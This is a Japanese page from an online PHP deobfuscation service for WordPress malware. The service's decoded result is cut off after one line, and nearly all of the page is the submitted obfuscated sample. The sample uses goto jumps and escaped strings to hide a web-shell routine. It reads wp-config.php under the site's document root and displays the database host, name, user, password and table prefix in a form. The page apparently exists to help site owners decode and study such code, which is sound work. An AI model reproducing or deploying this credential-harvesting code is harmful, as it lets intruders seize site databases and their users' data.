Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto DtvGi; YOXZH: $txtRose = "\164\145\170\164\x2d\x72\x6f\163\145\55\65\60\60"; goto pHkcj; gnYV2: $txtOrange = "\x74\145\170\164\x2d\157\162\x61\x6e\147\x65\55\65\x30\x30"; goto aliYz; E6Bf1: $txtBlack = "\x74\x65\170\x74\55\142\x6c\x61\143\x6b"; goto T9_C0; y0l1K: $txtEmerald = "\164\14...



難読化されたPHPコード

<?php
 goto DtvGi; YOXZH: $txtRose = "\164\145\170\164\x2d\x72\x6f\163\145\55\65\60\60"; goto pHkcj; gnYV2: $txtOrange = "\x74\145\170\164\x2d\157\162\x61\x6e\147\x65\55\65\x30\x30"; goto aliYz; E6Bf1: $txtBlack = "\x74\x65\170\x74\55\142\x6c\x61\143\x6b"; goto T9_C0; y0l1K: $txtEmerald = "\164\145\170\164\55\145\155\x65\x72\x61\x6c\x64\55\65\60\60"; goto w1haS; aliYz: $txtRed = "\164\145\x78\164\x2d\x72\x65\144\x2d\66\60\x30"; goto YOXZH; FXSXX: echo "\xa\x20\x20\x20\40\40\x20\40\40\74\x66\157\x72\155\40\143\154\x61\x73\x73\x3d\42\155\144\72\x77\55\62\57\64\x20\167\x2d\146\x75\154\x6c\x20\x77\x2d\141\x75\164\157\40\155\170\55\64\x20\x6d\x79\x2d\70\42\40\x61\143\164\x69\157\156\x3d\x22\42\40\x6d\x65\164\x68\157\x64\75\x22\x50\x4f\x53\124\42\x3e\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x64\151\166\40\x63\154\141\163\163\75\x22\x67\x65\x74\x63\x6f\x6e\x66\x69\x67\x20\x6d\171\55\x34\40\x77\55\146\x75\x6c\x6c\x20\x66\154\145\170\x20\x66\154\145\170\x2d\x72\157\167\x20\x66\x6c\x65\170\x2d\156\157\167\x72\x61\x70\40\x69\164\145\155\163\x2d\143\145\156\164\x65\x72\40\x67\x61\160\55\64\40\x66\163\55\x78\163\42\76\xa\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x3c\x6c\141\x62\x65\x6c\40\x66\157\x72\x3d\x22\x63\x6f\x6e\146\151\x67\137\x70\x61\x74\x68\42\40\143\154\141\163\163\x3d\x22\146\x73\55\x78\x73\40\164\x65\170\164\55\143\x65\156\x74\x65\162\42\76\167\160\40\x63\x6f\156\146\x69\x67\x3c\x2f\x6c\x61\142\145\154\76\12\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x3c\151\156\160\165\x74\x20\x74\171\x70\x65\x3d\42\x74\x65\x78\x74\42\40\151\x64\75\x22\x63\x6f\156\x66\x69\147\x5f\x70\x61\x74\x68\x22\x20\156\141\155\145\x3d\x22\143\157\x6e\x66\x69\x67\x5f\x70\x61\164\x68\42\40\x63\154\141\163\x73\75\x22\x63\x6f\x6e\146\x69\147\x20\150\55\x35\x20\x77\55\x36\x34\x20\160\x79\55\64\x20\142\x67\x2d\x74\x72\x61\x6e\163\160\x61\162\x65\156\x74\x20\x62\x6f\x72\x64\145\162\x2d\x62\154\165\145\55\x35\x30\x30\40\x72\x6f\165\156\144\x65\x64\40\146\x73\x2d\170\x73\x22\x20\166\x61\x6c\x75\x65\x3d\x22" . $_SERVER["\x44\117\103\x55\115\105\x4e\124\x5f\122\117\x4f\124"] . "\42\x3e\xa\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\x20\164\171\160\x65\75\x22\163\165\x62\x6d\x69\x74\42\x20\156\x61\x6d\145\x3d\x22\x62\164\x6e\x2d\x67\145\164\143\157\156\146\x69\x67\42\x20\x63\x6c\x61\163\x73\75\x22\x62\164\156\55\x67\145\x74\x63\x6f\156\x66\x69\x67\40\x74\x65\170\164\x2d\167\150\151\x74\145\x20\x70\157\x70\x70\151\x6e\163\x20\x62\x67\55\142\154\x75\145\x2d\66\x30\60\x20\150\x6f\166\145\x72\x3a\x62\147\55\142\154\165\x65\x2d\x38\x30\60\x20\160\170\55\64\x20\160\171\55\x31\x20\x72\x6f\x75\156\144\145\144\40\x6d\170\x2d\64\40\x66\163\55\x78\x73\42\76\107\145\x74\x20\x43\x6f\x6e\146\151\x67\74\x2f\142\165\164\x74\x6f\156\76\12\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\74\x2f\144\x69\x76\76\xa\40\40\x20\40\40\40\x20\40\74\57\x66\157\162\155\76"; goto hJw71; hJw71: if (isset($_POST["\142\164\156\55\147\145\164\143\157\156\146\151\x67"])) { $f_exist = "\x66\x69" . "\154\x65\137" . "\x65\x78\151\x73" . "\x74\163"; $config_path = htmlspecialchars($_POST["\x63\x6f\156\146\x69\x67\x5f\160\x61\x74\150"]); $the_config_path = $config_path . "\x2f\167\160\55\143\x6f\x6e\146\151\x67\x2e\160\x68\160"; if ($f_exist($the_config_path)) { $config_content = file_get_contents($the_config_path); function grep($config_content, $params) { if (preg_match("\x2f\x64\x65\146\x69\x6e\x65\134\50\x5c\163\52\47{$params}\47\x2c\x5c\x73\52\x27\50\133\136\47\135\53\51\47\x5c\x73\52\x5c\51\73\x2f", $config_content, $matches)) { $result = $matches[1]; return $result; } } function getDbHost($config_content) { if (preg_match("\57\x64\x65\x66\151\x6e\x65\x5c\50\134\x73\x2a\x27\x44\102\x5f\x48\117\123\x54\x27\x2c\x5c\163\52\x27\x28\133\x5e\x27\135\53\51\47\x5c\x73\52\x5c\51\73\x2f", $config_content, $matches)) { $result = $matches[1]; return $result; } } function getDbName($config_content) { if (preg_match("\57\144\145\x66\151\x6e\x65\x5c\50\134\163\x2a\47\x44\x42\x5f\x4e\x41\115\105\x27\54\x5c\x73\x2a\47\50\x5b\x5e\47\135\x2b\51\47\134\163\52\x5c\x29\73\x2f", $config_content, $matches)) { $result = $matches[1]; return $result; } } function getDbUser($config_content) { if (preg_match("\x2f\x64\x65\146\x69\156\145\134\x28\134\x73\52\47\x44\x42\137\125\123\105\x52\47\54\134\x73\x2a\47\50\x5b\x5e\47\x5d\53\x29\x27\134\x73\x2a\x5c\x29\73\57", $config_content, $matches)) { $result = $matches[1]; return $result; } } function getDbPassword($config_content) { if (preg_match("\57\x64\x65\146\151\156\x65\134\50\134\x73\52\47\x44\102\137\x50\x41\x53\123\127\117\122\104\x27\x2c\134\163\52\47\50\x5b\136\47\135\x2b\51\x27\134\x73\52\134\x29\73\57", $config_content, $matches)) { $result = $matches[1]; return $result; } } function getTablePrefix($config_content) { if (preg_match("\x2f\x5c\x24\164\x61\142\x6c\x65\137\x70\162\145\146\x69\170\134\x73\52\75\134\163\x2a\47\50\x5b\136\x27\135\53\51\x27\57", $config_content, $matches)) { $result = $matches[1]; return $result; } } echo "\x3c\146\157\x72\155\40\143\x6c\141\163\163\x3d\42\x6d\144\72\x77\55\x32\x2f\64\x20\x77\x2d\x66\165\154\x6c\x20\167\55\141\165\164\157\x20\x6d\170\55\x34\x20\x6d\171\55\x38\42\40\x61\x63\x74\151\157\156\x3d\x22\x22\x20\155\145\x74\x68\x6f\x64\x3d\x22\120\117\123\124\42\x3e\12\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\x73\x73\75\x22\162\145\154\x61\164\151\x76\x65\x20\x7a\x2d\x30\x20\155\x64\72\167\x2d\x32\x2f\x34\40\167\55\146\165\x6c\154\40\155\142\x2d\x35\x20\147\162\157\165\160\x22\76\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\74\151\x6e\x70\x75\x74\40\164\171\x70\145\75\x22\164\145\x78\x74\x22\x20\x6e\141\155\145\75\42\144\x62\x5f\150\157\163\x74\x22\x20\x69\x64\x3d\42\x64\142\x5f\150\157\x73\164\42\40\x63\154\141\x73\x73\75\x22\x62\x6c\157\143\153\40\x70\x79\55\x32\56\x35\x20\160\x78\55\x30\40\x77\x2d\x66\x75\154\x6c\40\x74\145\x78\x74\x2d\163\x6d\x20\164\145\x78\164\55\x67\162\141\x79\x2d\x39\x30\x30\40\x62\x67\x2d\x74\x72\141\x6e\x73\160\141\x72\x65\x6e\164\x20\x70\154\x61\143\145\150\x6f\x6c\144\145\x72\x3a\164\x65\170\164\x2d\164\162\x61\156\163\x70\x61\x72\145\156\x74\x20\x62\157\x72\144\x65\162\x2d\x30\40\x62\157\162\144\145\x72\55\x62\55\x32\40\x62\x6f\x72\x64\x65\162\x2d\x67\x72\x61\x79\55\63\x30\60\40\x61\x70\160\145\x61\162\141\x6e\143\x65\x2d\156\157\156\145\40\144\x61\162\x6b\x3a\164\x65\170\164\55\x77\150\151\x74\x65\40\x64\141\162\153\72\x62\157\162\144\145\x72\x2d\147\162\x61\171\x2d\x36\x30\x30\40\144\141\162\153\x3a\x66\157\143\x75\x73\x3a\x62\157\x72\x64\145\x72\x2d\x62\154\x75\x65\55\x35\x30\x30\40\146\x6f\x63\165\163\x3a\157\165\164\154\x69\156\145\55\156\157\x6e\x65\40\x66\157\x63\165\x73\72\162\151\x6e\147\55\x30\x20\x66\157\143\x75\x73\x3a\142\157\162\x64\x65\162\x2d\142\154\x75\145\55\66\x30\x30\40\x66\157\x63\x75\x73\72\x70\154\141\143\145\x68\x6f\154\x64\x65\162\x3a\164\x65\170\x74\x2d\163\154\141\x74\145\x2d\65\60\x30\x20\160\x65\x65\162\42\x20\166\141\154\x75\x65\x3d\x22" . getDbHost($config_content) . "\x22\x20\57\76\12\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x3c\154\x61\142\145\x6c\40\146\157\162\75\x22\x64\142\137\x68\x6f\163\164\x22\x20\x63\154\141\x73\x73\75\x22\160\x65\x65\162\x2d\146\x6f\143\165\163\72\x66\157\x6e\x74\55\x6d\x65\x64\x69\x75\x6d\x20\141\142\163\x6f\154\165\x74\x65\x20\x74\145\x78\164\x2d\163\155\40\x74\x65\170\164\x2d\x67\162\141\171\55\65\60\x30\40\144\141\x72\153\72\164\x65\170\x74\x2d\147\x72\x61\171\x2d\64\60\x30\40\x64\165\162\x61\164\151\157\x6e\x2d\63\x30\60\x20\x74\x72\141\x6e\x73\x66\157\x72\155\x20\x2d\x74\x72\141\x6e\163\x6c\141\x74\x65\x2d\171\55\66\40\163\143\141\154\145\55\x37\x35\x20\x74\x6f\x70\x2d\x33\x20\x2d\172\55\61\60\40\x6f\162\x69\147\x69\x6e\55\133\x30\135\40\160\145\145\x72\x2d\x66\x6f\143\165\x73\72\x73\164\141\162\x74\55\60\40\x72\x74\x6c\72\160\145\x65\x72\55\146\x6f\143\165\163\x3a\x74\162\141\x6e\x73\154\141\x74\x65\x2d\170\55\x31\x2f\x34\x20\160\x65\x65\162\x2d\146\157\143\165\x73\x3a\x74\145\x78\164\x2d\x62\154\x75\x65\x2d\x36\60\x30\40\160\145\145\162\x2d\x66\x6f\143\x75\x73\x3a\x64\x61\x72\153\72\x74\145\x78\x74\55\x62\154\165\145\x2d\65\60\x30\x20\x70\145\x65\x72\x2d\x70\x6c\141\143\145\x68\x6f\x6c\144\x65\162\x2d\x73\x68\157\x77\156\x3a\163\x63\x61\154\x65\55\x31\60\60\x20\160\145\145\x72\x2d\x70\x6c\141\x63\145\x68\x6f\154\144\x65\162\x2d\x73\150\x6f\167\156\72\x74\x72\141\156\163\154\x61\164\x65\55\171\55\x30\40\160\x65\x65\162\55\x66\x6f\x63\165\163\x3a\163\143\x61\154\x65\55\67\x35\40\160\x65\145\x72\55\146\x6f\x63\165\x73\72\55\164\162\141\156\x73\x6c\141\x74\x65\55\x79\55\x36\42\x3e\104\102\x20\110\117\123\x54\74\x2f\x6c\141\142\x65\154\76\12\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\74\x2f\144\x69\166\76\xa\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x3c\x64\151\x76\x20\143\154\x61\x73\x73\75\42\162\x65\x6c\141\x74\x69\166\x65\40\172\55\x30\x20\x6d\144\72\167\x2d\x32\x2f\64\x20\x77\x2d\146\165\x6c\x6c\x20\x6d\142\55\65\x20\147\162\157\x75\x70\42\x3e\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\74\151\156\160\x75\x74\x20\x74\x79\160\145\75\42\x74\x65\170\x74\42\40\156\141\x6d\x65\75\x22\x64\142\137\156\x61\x6d\x65\42\x20\x69\144\x3d\x22\x64\x62\137\156\x61\155\x65\42\x20\x63\154\141\x73\163\x3d\42\x62\x6c\157\143\x6b\x20\160\171\x2d\x32\56\x35\40\x70\170\55\x30\40\x77\55\x66\165\154\x6c\x20\164\x65\x78\x74\55\x73\x6d\x20\x74\145\170\x74\x2d\x67\162\x61\x79\55\71\60\x30\x20\142\147\55\164\162\141\x6e\163\x70\x61\x72\145\x6e\164\40\x70\154\141\143\145\150\157\x6c\144\145\162\x3a\164\145\x78\x74\x2d\164\162\x61\156\163\x70\x61\162\145\x6e\x74\x20\x62\x6f\x72\144\145\162\55\60\40\142\157\x72\144\x65\162\x2d\142\55\x32\x20\142\157\x72\144\x65\x72\x2d\x67\x72\141\171\55\x33\60\x30\40\x61\160\160\145\141\162\x61\156\x63\145\x2d\156\x6f\156\x65\x20\144\141\162\x6b\x3a\164\x65\x78\x74\55\x77\150\x69\164\145\40\144\141\162\x6b\72\142\x6f\x72\144\145\162\x2d\147\162\141\171\55\x36\60\60\40\144\x61\x72\x6b\x3a\146\157\x63\165\163\72\x62\x6f\x72\144\x65\162\55\x62\x6c\x75\x65\55\65\x30\x30\x20\146\x6f\x63\x75\x73\72\x6f\x75\x74\154\151\156\x65\x2d\x6e\157\x6e\145\x20\146\x6f\143\x75\x73\72\x72\x69\156\x67\x2d\x30\40\x66\x6f\143\x75\x73\x3a\x62\157\162\x64\145\x72\x2d\x62\x6c\165\x65\x2d\x36\x30\60\40\x66\157\x63\x75\163\x3a\160\x6c\x61\x63\x65\150\x6f\154\144\145\x72\x3a\x74\x65\170\x74\55\163\154\141\164\x65\x2d\x35\60\x30\x20\x70\x65\145\x72\42\x20\166\x61\x6c\165\145\x3d\x22" . getDbName($config_content) . "\x22\x20\57\76\12\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x3c\154\x61\142\x65\x6c\x20\x66\157\x72\x3d\42\144\142\137\x6e\x61\155\x65\42\40\x63\x6c\141\x73\163\x3d\x22\x70\145\x65\162\x2d\x66\157\143\165\163\72\146\x6f\156\164\x2d\x6d\145\144\x69\165\155\x20\141\x62\x73\157\x6c\x75\x74\x65\40\164\145\x78\164\x2d\163\155\40\x74\145\170\164\55\147\x72\x61\171\55\65\x30\60\x20\144\141\x72\153\x3a\164\145\x78\x74\55\x67\162\x61\x79\x2d\x34\x30\60\40\x64\165\x72\x61\164\x69\157\156\x2d\x33\60\x30\40\x74\x72\x61\156\163\146\157\162\155\40\55\x74\162\x61\x6e\163\154\141\x74\x65\55\171\x2d\x36\x20\163\x63\141\x6c\x65\x2d\67\65\x20\x74\157\x70\55\63\40\55\172\55\x31\x30\40\x6f\x72\151\x67\151\x6e\55\x5b\x30\x5d\40\160\x65\145\162\x2d\x66\157\143\165\163\x3a\x73\x74\x61\x72\164\x2d\x30\40\x72\x74\x6c\x3a\x70\145\x65\162\55\146\x6f\x63\165\163\72\164\162\x61\156\163\154\141\164\145\x2d\x78\x2d\61\57\64\40\x70\x65\145\x72\x2d\x66\x6f\143\x75\163\x3a\x74\x65\170\164\x2d\x62\x6c\x75\145\x2d\66\60\x30\40\x70\x65\145\x72\x2d\x66\157\143\x75\163\72\144\141\x72\x6b\x3a\x74\145\x78\164\x2d\x62\154\165\x65\x2d\x35\x30\x30\x20\160\x65\145\162\55\160\154\x61\x63\x65\150\x6f\154\x64\145\162\55\163\150\x6f\167\156\x3a\x73\143\x61\154\x65\x2d\61\60\x30\x20\160\x65\145\x72\55\x70\154\141\x63\145\x68\x6f\x6c\x64\145\162\55\x73\150\x6f\x77\x6e\72\x74\162\141\x6e\x73\154\x61\x74\x65\x2d\x79\x2d\60\40\160\145\145\162\x2d\146\x6f\x63\165\x73\x3a\x73\x63\x61\x6c\145\x2d\x37\x35\40\160\x65\x65\x72\x2d\146\x6f\143\165\163\x3a\55\164\x72\x61\x6e\163\x6c\141\164\145\55\x79\x2d\66\x22\x3e\104\102\x20\116\101\115\105\x3c\x2f\x6c\x61\142\x65\154\x3e\xa\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x3c\x2f\x64\x69\166\x3e\xa\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\40\74\x64\x69\x76\x20\143\x6c\141\163\163\75\42\x72\x65\154\141\x74\151\166\x65\40\172\55\x30\x20\x6d\144\x3a\167\55\x32\57\x34\40\167\55\146\165\x6c\x6c\40\155\142\55\65\x20\147\162\157\x75\x70\x22\x3e\12\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\40\x3c\151\x6e\x70\x75\164\40\x74\171\160\x65\x3d\x22\164\145\170\x74\42\40\156\x61\x6d\145\75\x22\144\x62\x5f\x75\163\145\x72\x22\40\151\x64\75\42\x64\142\x5f\165\163\x65\162\x22\40\x63\x6c\x61\163\x73\x3d\42\142\x6c\157\x63\153\40\160\x79\x2d\x32\56\65\40\160\170\x2d\60\x20\167\x2d\x66\x75\x6c\154\x20\164\145\170\164\x2d\163\x6d\40\164\x65\x78\164\x2d\147\x72\x61\x79\55\71\x30\60\x20\142\x67\55\164\x72\141\x6e\163\x70\x61\162\x65\156\164\x20\160\154\141\x63\x65\x68\157\154\x64\145\162\x3a\x74\x65\x78\164\x2d\164\x72\x61\x6e\x73\160\141\x72\145\x6e\164\40\x62\x6f\x72\144\145\162\55\60\x20\x62\x6f\x72\x64\x65\162\55\x62\x2d\x32\40\142\157\162\x64\x65\162\x2d\x67\162\x61\x79\x2d\63\60\60\x20\x61\160\160\145\x61\162\141\x6e\143\x65\55\x6e\x6f\156\x65\40\144\x61\162\x6b\x3a\x74\145\170\164\x2d\167\x68\x69\x74\145\40\144\141\162\153\x3a\x62\x6f\162\144\x65\162\55\147\162\x61\171\x2d\66\60\x30\x20\144\141\x72\x6b\72\x66\x6f\143\x75\163\72\x62\x6f\162\x64\x65\x72\55\x62\x6c\x75\x65\55\65\60\x30\40\x66\157\143\165\163\72\157\x75\164\154\151\156\145\55\x6e\x6f\156\145\40\146\157\x63\165\x73\72\x72\151\x6e\x67\x2d\60\x20\x66\x6f\143\165\163\72\x62\157\162\x64\x65\162\x2d\142\154\165\x65\55\66\60\60\x20\146\157\143\165\163\x3a\x70\154\x61\143\145\x68\157\x6c\x64\145\x72\x3a\164\145\x78\164\x2d\x73\x6c\141\164\145\x2d\x35\60\60\40\x70\145\x65\x72\x22\40\x76\141\154\x75\x65\x3d\x22" . getDbUser($config_content) . "\x22\x20\57\76\xa\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\74\154\x61\x62\145\154\40\x66\157\162\x3d\x22\144\x62\137\x75\x73\145\162\x22\40\x63\x6c\141\163\163\x3d\42\x70\145\145\x72\x2d\x66\157\143\x75\x73\x3a\146\x6f\156\164\x2d\155\145\144\151\x75\x6d\40\x61\142\x73\x6f\154\x75\x74\145\x20\x74\145\170\x74\55\x73\x6d\x20\164\x65\x78\x74\55\x67\x72\141\171\x2d\x35\60\x30\x20\x64\141\162\x6b\x3a\164\145\170\164\55\147\x72\x61\x79\55\x34\x30\x30\x20\x64\165\x72\x61\x74\151\x6f\x6e\55\63\x30\60\40\x74\x72\x61\156\x73\146\x6f\x72\x6d\40\55\164\162\141\x6e\163\x6c\141\164\145\x2d\x79\x2d\x36\x20\163\143\141\154\x65\55\x37\65\40\164\157\160\55\x33\x20\x2d\172\55\x31\x30\x20\157\x72\x69\147\151\x6e\55\133\x30\135\x20\160\145\x65\x72\x2d\146\157\x63\x75\x73\x3a\x73\x74\x61\162\x74\55\60\x20\162\164\154\x3a\160\x65\x65\x72\x2d\x66\157\143\165\163\72\164\162\141\x6e\163\x6c\x61\x74\x65\x2d\170\x2d\61\57\x34\40\160\145\145\162\55\146\157\x63\x75\x73\x3a\164\145\x78\164\55\142\x6c\x75\x65\x2d\x36\x30\60\x20\x70\x65\x65\162\x2d\146\157\143\165\163\72\144\x61\162\x6b\x3a\x74\x65\170\x74\55\x62\154\x75\x65\x2d\x35\60\60\40\x70\145\x65\x72\x2d\x70\154\x61\143\145\x68\157\154\x64\145\162\x2d\163\x68\157\167\x6e\72\x73\x63\x61\154\145\55\x31\x30\x30\x20\160\x65\145\x72\x2d\x70\x6c\141\143\x65\x68\157\154\144\x65\162\x2d\163\150\x6f\x77\x6e\72\164\x72\x61\x6e\163\154\x61\x74\145\x2d\171\55\x30\40\x70\145\x65\162\55\x66\x6f\143\x75\163\x3a\163\x63\x61\x6c\145\55\x37\65\x20\160\145\x65\162\55\x66\x6f\143\x75\x73\72\55\x74\162\x61\156\x73\154\x61\x74\x65\x2d\171\55\x36\42\x3e\x44\x42\40\x55\123\105\x52\74\x2f\154\141\x62\x65\154\76\12\x20\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x3c\x2f\x64\x69\166\x3e\12\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x3c\x64\151\166\x20\143\154\141\x73\163\x3d\42\x72\145\154\141\164\x69\166\x65\40\x7a\55\x30\40\x6d\x64\x3a\x77\x2d\x32\x2f\64\x20\167\55\146\165\154\x6c\40\155\x62\x2d\65\x20\x67\162\x6f\x75\x70\x22\76\12\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\74\151\x6e\160\165\164\x20\164\x79\160\145\75\42\x74\145\x78\164\42\x20\x6e\x61\x6d\x65\75\x22\x64\142\x5f\x70\141\163\163\42\40\x69\x64\x3d\42\144\x62\x5f\160\141\163\x73\42\40\x63\154\141\163\163\75\42\x62\154\157\x63\153\x20\x70\171\55\x32\56\x35\x20\x70\x78\55\60\40\167\x2d\x66\x75\x6c\x6c\x20\x74\x65\170\x74\55\163\155\40\164\x65\x78\x74\x2d\147\x72\141\171\x2d\x39\60\60\x20\142\x67\x2d\x74\x72\141\156\163\x70\x61\162\x65\156\x74\x20\x70\154\x61\143\x65\x68\157\x6c\144\x65\x72\72\x74\145\x78\x74\x2d\x74\x72\x61\x6e\163\x70\141\162\x65\156\x74\40\142\x6f\162\x64\145\x72\55\x30\40\142\157\162\x64\145\162\x2d\x62\x2d\x32\x20\142\157\x72\144\x65\162\55\147\x72\x61\x79\x2d\x33\60\x30\40\x61\x70\x70\x65\x61\162\x61\x6e\x63\145\x2d\156\157\x6e\x65\40\x64\141\162\153\x3a\x74\145\170\x74\x2d\x77\x68\151\x74\145\40\x64\x61\162\153\72\x62\x6f\162\x64\145\162\x2d\147\162\x61\171\55\66\60\60\40\144\x61\162\153\72\146\157\143\165\x73\72\x62\157\x72\144\145\x72\x2d\x62\x6c\165\145\x2d\x35\60\60\40\146\x6f\x63\165\x73\72\x6f\x75\x74\154\x69\x6e\145\x2d\156\157\156\x65\x20\x66\157\x63\x75\163\x3a\x72\x69\x6e\x67\x2d\x30\x20\x66\x6f\x63\x75\163\72\x62\x6f\x72\x64\145\x72\x2d\x62\154\165\x65\x2d\66\x30\60\40\x66\x6f\143\x75\163\72\160\154\141\x63\x65\x68\157\x6c\x64\145\162\72\164\x65\x78\164\55\x73\154\141\164\x65\55\x35\60\60\40\x70\x65\x65\x72\x22\x20\x76\x61\154\x75\145\75\42" . getDbPassword($config_content) . "\42\x20\x2f\x3e\12\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\x3c\154\141\142\145\x6c\x20\x66\157\162\x3d\x22\144\142\137\160\141\x73\x73\x22\x20\143\x6c\x61\x73\x73\75\x22\x70\x65\145\x72\x2d\146\157\143\x75\163\x3a\x66\157\156\164\x2d\x6d\x65\x64\x69\165\155\40\x61\142\163\x6f\x6c\165\x74\x65\40\x74\x65\170\x74\55\163\155\x20\x74\x65\x78\164\x2d\x67\x72\x61\171\55\x35\60\x30\40\x64\x61\162\153\x3a\164\x65\x78\164\55\x67\x72\141\x79\55\64\60\60\40\x64\165\x72\x61\x74\151\x6f\156\55\x33\x30\60\40\x74\162\x61\156\163\x66\157\162\x6d\40\55\x74\x72\141\156\x73\x6c\141\164\145\55\171\55\x36\40\163\143\x61\154\x65\x2d\x37\65\x20\164\x6f\x70\x2d\63\x20\55\172\x2d\61\60\40\157\162\151\147\x69\x6e\x2d\x5b\x30\135\x20\x70\145\x65\x72\x2d\146\x6f\x63\x75\163\x3a\163\x74\141\x72\164\x2d\x30\x20\x72\x74\154\72\x70\x65\145\162\55\x66\x6f\143\165\163\72\164\x72\x61\156\163\154\x61\x74\x65\55\170\x2d\x31\x2f\64\x20\160\145\145\162\55\x66\157\x63\165\x73\x3a\x74\145\170\x74\x2d\142\154\x75\x65\55\x36\60\x30\x20\x70\x65\x65\x72\x2d\x66\x6f\x63\165\163\x3a\144\141\162\153\72\164\x65\170\164\x2d\x62\154\x75\x65\55\65\60\x30\40\160\x65\x65\x72\55\x70\x6c\x61\143\x65\150\157\x6c\x64\x65\x72\x2d\x73\150\157\167\156\72\x73\143\141\x6c\x65\x2d\61\x30\x30\40\160\145\145\x72\x2d\x70\x6c\x61\143\145\150\157\154\144\x65\x72\55\x73\x68\x6f\167\x6e\x3a\164\x72\141\156\x73\154\141\x74\x65\x2d\x79\55\x30\x20\160\145\145\162\55\x66\x6f\143\165\163\x3a\163\143\x61\x6c\145\x2d\67\x35\x20\x70\x65\x65\x72\55\146\157\x63\165\x73\72\55\x74\x72\x61\156\x73\x6c\141\x74\145\55\x79\55\66\x22\x3e\104\102\x20\120\x41\123\123\74\x2f\x6c\141\x62\145\x6c\76\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x3c\x2f\x64\x69\166\76\xa\40\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\74\x64\151\166\x20\143\154\141\x73\163\75\x22\x72\x65\154\141\164\x69\x76\145\x20\172\55\60\x20\x6d\x64\x3a\167\55\62\x2f\x34\40\x77\x2d\146\x75\x6c\x6c\40\155\x62\x2d\65\x20\147\x72\157\x75\160\42\x3e\xa\x20\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x3c\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\x74\x65\x78\164\42\x20\x6e\141\x6d\145\x3d\x22\x64\142\137\160\162\145\x66\x69\x78\x22\x20\151\x64\75\42\x64\142\x5f\x70\162\x65\146\x69\170\x22\x20\143\x6c\x61\163\163\x3d\x22\142\x6c\x6f\143\x6b\40\160\x79\55\x32\56\65\x20\x70\170\x2d\60\40\167\55\x66\x75\154\x6c\40\164\145\170\x74\55\163\x6d\x20\x74\145\170\164\55\x67\162\x61\x79\x2d\71\x30\60\x20\x62\147\55\164\162\x61\156\163\160\x61\162\145\x6e\164\x20\x70\154\141\x63\145\150\157\154\x64\x65\162\72\x74\x65\170\x74\x2d\x74\162\141\x6e\163\160\141\162\145\x6e\164\40\x62\x6f\x72\x64\145\x72\x2d\60\40\x62\157\162\x64\145\162\55\x62\55\x32\x20\142\157\x72\144\x65\x72\x2d\147\162\141\x79\x2d\63\60\60\x20\141\x70\x70\145\141\162\141\156\143\x65\55\x6e\157\156\x65\x20\144\141\x72\153\72\x74\x65\170\164\x2d\167\x68\x69\x74\145\40\144\x61\x72\153\72\x62\157\162\x64\145\162\x2d\x67\162\x61\171\55\x36\x30\60\x20\x64\141\x72\153\72\x66\157\143\165\x73\x3a\x62\x6f\162\x64\x65\x72\55\x62\154\x75\145\x2d\x35\60\x30\x20\146\157\143\165\163\72\x6f\x75\164\x6c\x69\156\x65\55\x6e\x6f\156\145\40\146\x6f\143\x75\163\72\x72\x69\156\x67\55\x30\40\146\157\x63\165\x73\x3a\142\x6f\162\144\x65\x72\55\142\x6c\165\145\x2d\66\x30\x30\40\146\x6f\x63\x75\163\x3a\x70\x6c\x61\x63\145\150\x6f\x6c\x64\x65\162\72\164\145\170\x74\55\x73\x6c\x61\164\145\55\65\x30\60\x20\x70\145\145\162\42\x20\166\x61\x6c\x75\x65\x3d\x22" . getTablePrefix($config_content) . 